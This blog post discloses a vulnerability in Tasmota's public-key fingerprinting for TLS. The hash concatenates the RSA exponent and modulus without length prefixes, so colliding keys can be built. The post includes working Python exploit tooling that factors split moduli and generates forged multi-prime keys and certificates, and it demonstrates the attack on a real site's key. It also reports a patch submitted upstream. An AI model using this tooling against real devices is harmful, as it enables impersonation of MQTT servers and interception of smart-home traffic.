Note: This post was written in August 2020, but I got stuck on how to finish it. I’m now publishing it as-is so it doesn’t languish in ‘drafts’ forever.
For an embedded device, TLS certificate validation presents some unique challenges. The obvious problem is the limited processing power, but the real issue is that a typical root CA bundle is well over 100KB and there may not be enough storage available for it. One possible workaround is simply authenticating the server’s public key based on a hash, similar to how SSH works. While there are some drawbacks, this is secure if implemented correctly. If not… well, that’s where I come in.
Smart home devices and automation have interested me for a long time. In the mid 2000s, I got some cheap X10 modules to experiment with. They worked. Kind of. Usually. You could control them with a computer with a serial module that brought RF communications into the mix for no good reason. The poor reliability and difficulty setting these devices up kept them from ever getting significant adoption. A lot has changed in 20 years.
The ESP8266 WiFi chip entered production December 30th 2013. It was intended to provide internet connectivity to other microcontrollers. Though it only cost a few dollars, it was actually a very capable platform all by itself. By the end of 2014, SDKs were available to run software on it directly. Cheap WiFi-enabled modules based on the ESP8266, such as the ESP-01, helped fuel the “internet of things”.
Reactions to the popularity of mass market smart home devices have been… mixed.
Tech Enthusiasts: Everything in my house is wired to the Internet of Things! I control it all from my smartphone! My smart-house is bluetooth enabled and I can give it voice commands via alexa! I love the future!
Programmers / Engineers: The most recent piece of technology I own is a printer from 2004 and I keep a loaded gun ready to shoot it if it ever makes an unexpected noise.
I’ve avoided these products because they generally rely on cloud services. While a hosted model makes sense for most people, it gives the vendor access to a lot of data, which they may sell, leave in an unsecured AWS S3 bucket or otherwise distribute. On top of that, there have been a number of instances of companies abruptly shutting down their servers, leaving the devices depending on them useless. Having “LAN-only” operation as an option is considered a niche feature and is generally priced accordingly.
In 2020, I bought a WiFi-enabled air purifier. I hadn’t planned to connect it to my network, but then I discovered someone had published code to use it without the cloud service. One I got that working, I wanted more.
My research turned up a number of cheap WiFi-enabled devices using the ESP8266, and someone’d already done the hard work of figuring out how to reflash them without disassembly[1]. Not only that, but there were several seemingly well maintained options for open source firmware including ESPeasy, ESPurna, Tasmota, and ESPhome. The documentation for Tasmota seemed quite good and included lots of details on supported devices. I wanted to be able to control power to a few appliances, and eventually settled on the Aoycocr U3S. It looked well supported and Amazon had them in stock. A few days later they arrived and I was able to flash them without a hitch.
Tasmota is intended to be used with an MQTT broker. Perusing the documentation, I saw that there was even support for TLS. Being the sort of person to run transport-mode IPSec on their home network[2], I had to use TLS. The default builds don’t include TLS support because of code size constraints, but it’s available as a compile time option. Validation can be done using either the standard CA-based approach, or using public key fingerprints. For convenience, the server can be automatically trusted on first use, with the fingerprint stored for future connections.
The documentation for this feature got my attention (emphasis mine):
The fingerprint is now calculated on the server’s Public Key and no longer on its Certificate. The good news is that Public Keys tend to change far less often than certificates, i.e. LetsEncrypt triggers a certificate renewal every 3 months, the Public Key fingerprint will not change after a certificate renewal. The bad news is that there is no openssl command to retrieve the server’s Public Key fingerprint, although a tool exists to calculate it from your certificate.
I took a look at the fingerprint code.
698 | static void pubkeyfingerprint_pubkey_fingerprint(br_sha1_context *shactx, br_rsa_public_key rsakey) { |
699 | br_sha1_init(shactx); |
700 | br_sha1_update(shactx, "ssh-rsa", 7); // tag |
701 | br_sha1_update(shactx, rsakey.e, rsakey.elen); // exponent |
702 | br_sha1_update(shactx, rsakey.n, rsakey.nlen); // modulus |
703 | } |
While SHA-1 is vulnerable to collision attacks, it’s still secure against preimage attacks which generate data matching a specific hash.
This scheme was obviously based on the one used by OpenSSH. It’s key serialization format is specified in RFC 4253 as
string "ssh-rsa" | |
mpint e | |
mpint n |
The meaning of the string
and mpint
types isn’t actually defined in RFC 4253 — that’s covered in RFC 4251. The important thing to note is that they are both prefixed by their lengths.
So, what’s in the br_rsa_public_key
struct?
155 | /** |
156 | * \brief RSA public key. |
157 | * |
158 | * The structure references the modulus and the public exponent. Both |
159 | * integers use unsigned big-endian representation; extra leading bytes |
160 | * of value 0 are allowed. |
161 | */ |
162 | typedef struct { |
163 | /** \brief Modulus. */ |
164 | unsigned char *n; |
165 | /** \brief Modulus length (in bytes). */ |
166 | size_t nlen; |
167 | /** \brief Public exponent. */ |
168 | unsigned char *e; |
169 | /** \brief Public exponent length (in bytes). */ |
170 | size_t elen; |
171 | } br_rsa_public_key; |
So, the fingerprint is the SHA-1 hash of the literal string “ssh-rsa”, the public exponent, and the modulus all concatenated together. No length prefixes or separators. I immediately suspected it was exploitable. Since the size of the public exponent and modulus aren’t fixed, the input to the hash function is ambiguous. To illustrate in Python:
1 | # SPDX-License-Identifier: CC0-1.0+ OR 0BSD OR MIT-0 |
2 | import hashlib |
3 | |
4 | def hash_concatenated(words): |
5 | sha = hashlib.sha256() |
6 | for word in words: |
7 | sha.update(word.encode()) |
8 | |
9 | return sha.hexdigest() |
10 | |
11 | A = hash_concatenated(['plugin', 'secure']) |
12 | B = hash_concatenated(['plug', 'insecure']) |
13 | |
14 | print(A == B) # True |
Relevant XKCD:
As used in TLS, RSA keys commonly use e = 65537 as their public exponent with n = pq as their modulus where p and q are random prime numbers several hundred decimal digits long. With p and q, the private exponent d can be calculated as the modular multiplicative inverse of e with respect to (p − 1)(q − 1).
If the original public key was e = 17, n = 279581516717, then it would concatenate to 17279581516717. From this, colliding candidate public keys can be created my splitting the digits in different places. Maybe one of them will be easy to crack?
e = 172, n = 79581516717 — Can’t use this because e is even.
e = 1727, n = 9581516717 — No luck here, n is prime.
e = 17279, n = 581516717 — Trivial to factor! n = 19⋅30606143
Now d can be calculated.
φ(n) = (19 − 1) ⋅ (30606143 − 1)
φ(n) = 18 ⋅ 30606142
φ(n) = 550910556
d = invert(17279, 550910556)
d = 480193523
In TLS, however, the numbers will be a lot bigger — typically e 65537 and n is a 2048 bit (617 decimal digit) semiprime. Implementations vary in the ranges of values they will accept in RSA keys, and the attack will be constrained by those limits. Tasmota uses BearSSL[3], so that will be the focus for a moment. Per the documentation, by default BearSSL will accept RSA keys with a modulus at least 128 bytes long — that’s 1017 bits (307 decimal digits). A lot of libraries limit the public exponent to a 32 or 64 bit value — what about BearSSL?
The source code holds the answer:
The X.509 “minimal” engine will tolerate public exponents of arbitrary size as long as the modulus and the exponent can fit together in the dedicated buffer.
If exponents can be arbitrarily large, that means for a 2048 bit key with the standard e value, there are theoretically 128 alternate places where e and n can be split. In practice, there are some further restrictions that come into play. The biggest one that immediately rules out about half of the options is the need for e to be odd. Another issue is that BearSSL always encodes n without leading zero bytes, so the first byte after the split must be nonzero.
Even with the splitting, the number to be factored is still quite large. I’ve previously done some research that involved factoring semiprimes used in RSA, but anything much beyond 512 bits (155 decimal digits) requires more computational resources than I have access to. For a 1024 bit semiprime, the cost to factor is probably on the order of $10M USD. In this case, however, the number is effectively random and has a reasonable chance of having some small factors.
Although RSA private keys normally use two primes, the math still works with three or more. I initially assumed that would require too much effort to implement. I’ve gotten textbook RSA working with it before, but I doubted I’d be able to hack a TLS library into using it. Instead, I tried to go the lazy route. My initial strategy was to simply send the new n value to factordb and try to construct an RSA key with composite values for p and q. This did not work, even when the resulting φ(n) was coprime to e. To be honest, I don’t understand the math well enough to explain why. I almost gave up at that point, but I really wanted to find a way to pull off the attack. Instead, I complained to some friends in a chat room:
RyanC: I’m trying to write an exploit for something, and it needs to use RSA with a modulus that has more than two factors.
RyanC: I thought that this could be made to work by just using composite p and q.
RyanC: that, however, does not work with openssl
RyanC: is this just openssl’s optimizations shooting me in the foot, or does this actually not work?
RyanC: I don’t really want to build a hacked TLS lib that does multiprime rsa
Within a few minutes, someone responded pointing out that Go’s standard cryptography library actually did support this, and then another mentioned there’s a standardized format for it. Some further digging revealed that OpenSSL can also handle multi-prime RSA as of version 1.1.1. All I had to do was find a full prime factorization and get the key in the right format.
Creating a properly formatted key was the easy part. In previous projects where I’ve done ill-advised things with RSA keys I’ve used the RSA.construct
method of PyCryptodome[4], but that only supports the standard two prime version. There don’t seem to be any libraries available that handle the multi-prime case, so I had to write my own.
Actually doing the factorization was a bit harder. This particular bug provides a few dozen possible values to try to factor, so an algorithm that can probabilistically find factors up to a few dozen digits long quickly would be ideal. Lenstra elliptic-curve factorization (also known as the “elliptic-curve factorization method”, or “ECM” for short) is such an algorithm, and the GMP-ECM implementation of it is packaged for many Linux distributions. The details of how it works aren’t important, though I found a forum post that tries to explain it with an analogy. The most important point is that when running it, one needs to choose a value B1 which corresponds to a vague range of values to search, and then run a bunch of randomized trials. The larger the range, the more trials needed to be confident there are no factors to be found there.
I had some issues with ECM when testing. The factors returned by it aren’t necessarily prime, so they may require further breakdown. If all of the factors of a number were too small, this sometimes wouldn’t work. I had to add code to avoid this problem by starting out with a trial division pass, and feeding any composites of 30 digits or less to the factor
utility that comes installed by default on most Linux systems.
1 | # Tested with the version of Sage available for Ubuntu 20.04 |
2 | |
3 | import sys |
4 | import json |
5 | |
6 | from sage.all import * |
7 | |
8 | from binascii import unhexlify |
9 | |
10 | class Unbuffered(object): |
11 | def __init__(self, stream): |
12 | self.stream = stream |
13 | def write(self, data): |
14 | self.stream.write(data) |
15 | self.stream.flush() |
16 | def writelines(self, datas): |
17 | self.stream.writelines(datas) |
18 | self.stream.flush() |
19 | def __getattr__(self, attr): |
20 | return getattr(self.stream, attr) |
21 | |
22 | sys.stdout = Unbuffered(sys.stdout) |
23 | |
24 | def from_bytes(b): |
25 | return int.from_bytes(b, 'big') |
26 | |
27 | def find_small_primes(end): |
28 | ret = [] |
29 | P = Primes() |
30 | p = P.first() |
31 | while p < end: |
32 | ret.append(p) |
33 | p = P.next(p) |
34 | |
35 | return ret |
36 | |
37 | small_primes = find_small_primes(10000) |
38 | |
39 | # look for easy factors |
40 | def try_factor(n, iters=30, B1=1000): |
41 | L = [] |
42 | q = n |
43 | |
44 | # find small factors using trial division - ecm doesn't always find them |
45 | for p in small_primes: |
46 | while q % p == 0: |
47 | L += [p] |
48 | q /= p |
49 | |
50 | # find larger factors using ecm |
51 | for _ in range(iters): |
52 | try: |
53 | p, q = ecm.one_curve(q, B1=B1) |
54 | if p != 1: |
55 | L += ecm.factor(p) |
56 | |
57 | # are we done yet? |
58 | if is_pseudoprime(q) and q*prod(L) == n: |
59 | return (True, L + [q]) |
60 | |
61 | # retry with different B1 |
62 | B1 += int(sqrt(B1)) |
63 | except: |
64 | pass |
65 | |
66 | # failed to factor |
67 | return (False, L + [n/prod(L)]) |
68 | |
69 | if __name__ == '__main__': |
70 | print('I:Starting up...') |
71 | raw = unhexlify(sys.argv[1]) |
72 | |
73 | raw_n_bytes = len(raw) |
74 | |
75 | found = {} |
76 | incomplete = {} |
77 | iters = 30 |
78 | for attempt in range(3): |
79 | print('I:Attempt {a}, iters={i}'.format(a=(attempt+1), i=iters)) |
80 | for pos in range(raw_n_bytes - 128, 1, -1): |
81 | # go on if we already founds factors from this split point |
82 | if pos in found: |
83 | continue |
84 | |
85 | e_len = pos |
86 | n_len = raw_n_bytes - pos |
87 | e_bytes = raw[:pos] |
88 | n_bytes = raw[pos:] |
89 | e = from_bytes(e_bytes) |
90 | n = from_bytes(n_bytes) |
91 | |
92 | # skip if e is unusable or is a 'standard' value |
93 | if e < 3 or e % 2 == 0 or e in [65537, 257, 17, 3]: |
94 | print('D:Cannot use e at [{}] - even or too small'.format(pos)) |
95 | found[pos] = None |
96 | continue |
97 | |
98 | if n_bytes[0] == 0: |
99 | print('D:Cannot use n at [{}] - leading zero byte'.format(pos)) |
100 | found[pos] = None |
101 | continue |
102 | |
103 | print('I:Looking for factors at [{}]'.format(pos)) |
104 | success, primes = try_factor(n, iters) |
105 | if success: |
106 | if len(primes) < 2: |
107 | print('N:Unable to construct key with prime modulus') |
108 | found[pos] = None |
109 | continue |
110 | |
111 | min_prime = min(primes) |
112 | print('N:Found {c} factors for n at [{p}] - smallest is {m}'.format(c=len(primes), p=pos, m=min_prime)) |
113 | |
114 | seen_primes = set() |
115 | for p in primes: |
116 | if p in seen_primes: |
117 | print('N:Duplicate factor {} - cannot build key'.format(p)) |
118 | found[pos] = None |
119 | seen_primes = None |
120 | break |
121 | else: |
122 | seen_primes.add(p) |
123 | |
124 | if seen_primes is None: |
125 | continue |
126 | |
127 | phi = prod([p - 1 for p in primes]) |
128 | if gcd(e, phi) != 1: |
129 | print('N:Cannot use (e, n) at [{p}] - e not coprime to phi(n) - gcd(e, phi(n)) = {g}'.format(p=pos, g=gcd(e, phi))) |
130 | found[pos] = None |
131 | continue |
132 | |
133 | result = {'e': str(e), 'primes': list(map(str, primes))} |
134 | found[pos] = result |
135 | print('R:'+json.dumps(result)) |
136 | else: |
137 | cofactor = primes.pop() |
138 | partial_phi = prod([p - 1 for p in primes]) |
139 | if gcd(e, partial_phi) != 1: |
140 | # we won't retry here since we know it won't be coprime |
141 | found[pos] = None |
142 | continue |
143 | if pos not in incomplete or int(incomplete[pos]['cofactor']) > cofactor: |
144 | incomplete[pos] = { |
145 | 'e': str(e), |
146 | 'cofactor': str(cofactor), |
147 | 'primes': list(map(str, primes)) |
148 | } |
149 | |
150 | done = False |
151 | # try to find at least one prime that is more than one digit |
152 | for v in found.values(): |
153 | if v is not None: |
154 | primes = list(map(int, v['primes'])) |
155 | if min(primes) > 10 and prod(primes) > int(v['e']) and len(primes) <= 5: |
156 | print('N:Found key with min(primes) > 10, e < n and 5 or fewer primes') |
157 | done = True |
158 | break |
159 | if done: |
160 | break |
161 | |
162 | iters *= 2 |
163 | |
164 | # search loop done, print result as json |
165 | sol = list(filter(lambda x: x is not None, found.values())) |
166 | sol.sort(key=lambda x: int(x['e'])) |
167 | inc = list(filter(lambda x: x is not None, incomplete.values())) |
168 | inc.sort(key=lambda x: len(x['cofactor'])) |
169 | result = { |
170 | "input": sys.argv[1], |
171 | "solutions": sol, |
172 | "incomplete": inc |
173 | } |
174 | |
175 | print(json.dumps(result)) |
The plan of attack, then will be to start with the smallest n value that can be split out of the original key, and work up to the largest. For each potential n value, spend a short time trying to factor it. If it can be factored, great, the attack is done. If not, save the progress and move on. If a usable full factorization isn’t found for any of the candidate n values, then try again, spending progressively more time until successful. There’s no guarantee this process will work on any given key, but the odds are quite good.
1 | import sys |
2 | import ssl |
3 | import json |
4 | import base64 |
5 | import subprocess |
6 | |
7 | from hashlib import sha1 |
8 | |
9 | from binascii import hexlify, unhexlify |
10 | |
11 | # need recent pycryptodome |
12 | from Crypto.PublicKey import RSA |
13 | |
14 | from mprsa import RSAPrivateKey |
15 | |
16 | CRACK_ARGS = ['ssh', '192.168.1.42', '~/crack_split_rsa.py'] |
17 | |
18 | def to_bytes(n): |
19 | return n.to_bytes((n.bit_length() + 7) // 8, 'big') |
20 | |
21 | def fingerprint(raw): |
22 | return sha1(b'ssh-rsa'+raw).hexdigest() |
23 | |
24 | def fmt_fingerprint(raw): |
25 | h = fingerprint(raw).upper() |
26 | return ' '.join(h[i:i+2] for i in range(0, len(h), 2)) |
27 | |
28 | def tasmota_fingerprint(rsa): |
29 | sha = sha1(b'ssh-rsa') |
30 | sha.update(to_bytes(int(rsa['publicExponent']))) |
31 | sha.update(to_bytes(int(rsa['modulus']))) |
32 | return sha.hexdigest() |
33 | |
34 | def self_sign(rsa, cn='evil'): |
35 | k = crypto.load_privatekey(crypto.FILETYPE_ASN1, rsa.der) |
36 | cert = crypto.X509() |
37 | cert.get_subject().CN = cn |
38 | cert.set_serial_number(int(tasmota_fingerprint(rsa), 16)) |
39 | cert.gmtime_adj_notBefore(86400 * -1) |
40 | cert.gmtime_adj_notAfter(86400 * 365) |
41 | cert.set_issuer(cert.get_subject()) |
42 | cert.set_pubkey(k) |
43 | cert.sign(k, 'sha256') |
44 | |
45 | return crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode() |
46 | |
47 | def keypair(rsa, cn='evil'): |
48 | i = 0 |
49 | while True: |
50 | try: |
51 | keypair = rsa.pem + rsa.rsa_sign(cn) |
52 | if i > 0: |
53 | sys.stdout.write('WARNING: had to retry cert signature') |
54 | return keypair |
55 | except Exception as e: |
56 | if i < 20: |
57 | i += 1 |
58 | else: |
59 | raise e |
60 | |
61 | if __name__ == '__main__': |
62 | source = sys.argv[1] |
63 | |
64 | if ':' in source: |
65 | parts = source.split(':') |
66 | hostname = parts[0] |
67 | port = int(parts[1]) |
68 | target = RSA.importKey(ssl.get_server_certificate((hostname, port))) |
69 | else: |
70 | with open(source, 'rb') as pem: |
71 | target = RSA.importKey(pem.read()) |
72 | |
73 | raw = to_bytes(target.e) + to_bytes(target.n) |
74 | |
75 | fp = fingerprint(raw) |
76 | |
77 | print('Tasmota fingerprint: ' + fmt_fingerprint(raw)) |
78 | |
79 | proc = subprocess.Popen(CRACK_ARGS + [hexlify(raw).decode()], stdout=subprocess.PIPE) |
80 | lines = [] |
81 | while True: |
82 | line = proc.stdout.readline() |
83 | if not line: |
84 | break |
85 | line = line.decode().rstrip() |
86 | lines.append(line) |
87 | if line[0] != '{': |
88 | print(line) |
89 | |
90 | last = lines[len(lines)-1] |
91 | |
92 | print('Writing results to %s.json' % fp) |
93 | with open('%s.json' % fp, 'w') as out: |
94 | out.write(last) |
95 | |
96 | result = json.loads(last) |
97 | |
98 | if 'solutions' in result: |
99 | for i, params in enumerate(result['solutions']): |
100 | e = int(params['e']) |
101 | primes = list(map(int, params['primes'])) |
102 | key = RSAPrivateKey(e, primes) |
103 | filename = '%s_e%04u_p%02u' % (fp, int.bit_length(e), len(primes)) |
104 | try: |
105 | b64 = base64.b64encode(self.der).decode() |
106 | b64 = '\n'.join(b64[i:i+64] for i in range(0, len(b64), 64)) |
107 | pem = '-----BEGIN {text}-----\n{b64}\n-----END {text}-----\n' |
108 | pem = pem.format(b64=b64, text='RSA PRIVATE KEY') |
109 | keypair_text = keypair(key) |
110 | print('Writing keypair to {}'.format(filename+'.pem')) |
111 | with open(filename+'.pem', 'w') as out: |
112 | out.write(keypair_text) |
113 | except Exception as e: |
114 | print(e) |
115 | if len(primes) > 5: |
116 | print('You may need to patch OpenSSL to allow more than 5 primes.') |
117 | print('Writing keypair to {}'.format(filename+'.key')) |
118 | with open(filename+'.key', 'w') as out: |
119 | out.write(key.pem) |
Theory is all well and good, but does this actually work on real world keys? How about this key for nsa.gov?
Subject: CN = www.defense.gov | |
Subject Public Key Info: | |
Public Key Algorithm: rsaEncryption | |
RSA Public-Key: (2048 bit) | |
Modulus: | |
00:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7:15:52: | |
ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d:6f:91: | |
93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18:3b:26: | |
c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14:41:11: | |
34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd:76:8e: | |
c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1:c5:d4: | |
af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd:76:9a: | |
4d:81:e2:c2:2f:a4:61:18:47:6b:eb:ab:78:b0:5b: | |
8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8: | |
92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3: | |
2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57: | |
9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4: | |
05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92: | |
94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64: | |
ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07: | |
a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a: | |
99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3: | |
74:01 | |
Exponent: 65537 (0x10001) |
This serializes out to 7373682d727361010001c94b58d1...f37401, and Tasmota’s fingerprint for it is:
87 55 2E C2 AF 2F F3 2A A7 BE A8 71 B7 69 F7 B6 09 FC 97 A2
The cracker I wrote successfully factored a colliding key in less than a minute.
Subject: CN = www.defense.gov | |
Subject Public Key Info: | |
Public Key Algorithm: rsaEncryption | |
RSA Public-Key: (1176 bit) | |
Modulus: | |
00:a4:61:18:47:6b:eb:ab:78:b0:5b: | |
8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8: | |
92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3: | |
2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57: | |
9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4: | |
05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92: | |
94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64: | |
ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07: | |
a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a: | |
99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3: | |
74:01 | |
Exponent: | |
01:00:01:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7: | |
15:52:ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d: | |
6f:91:93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18: | |
3b:26:c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14: | |
41:11:34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd: | |
76:8e:c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1: | |
c5:d4:af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd: | |
76:9a:4d:81:e2:c2:2f |
The factors are 13, 1,091, 15,032,926,429, and a 340 digit prime that doesn’t need to be printed here.
Postscript
I ended up submitting a patch to Tasmota that did an in-place upgrade of the fingerprint while maintaining backwards compatibility and still mitigating the attack. Details can be found in Tasmota’s issue tracker: https://github.com/arendst/Tasmota/issues/10571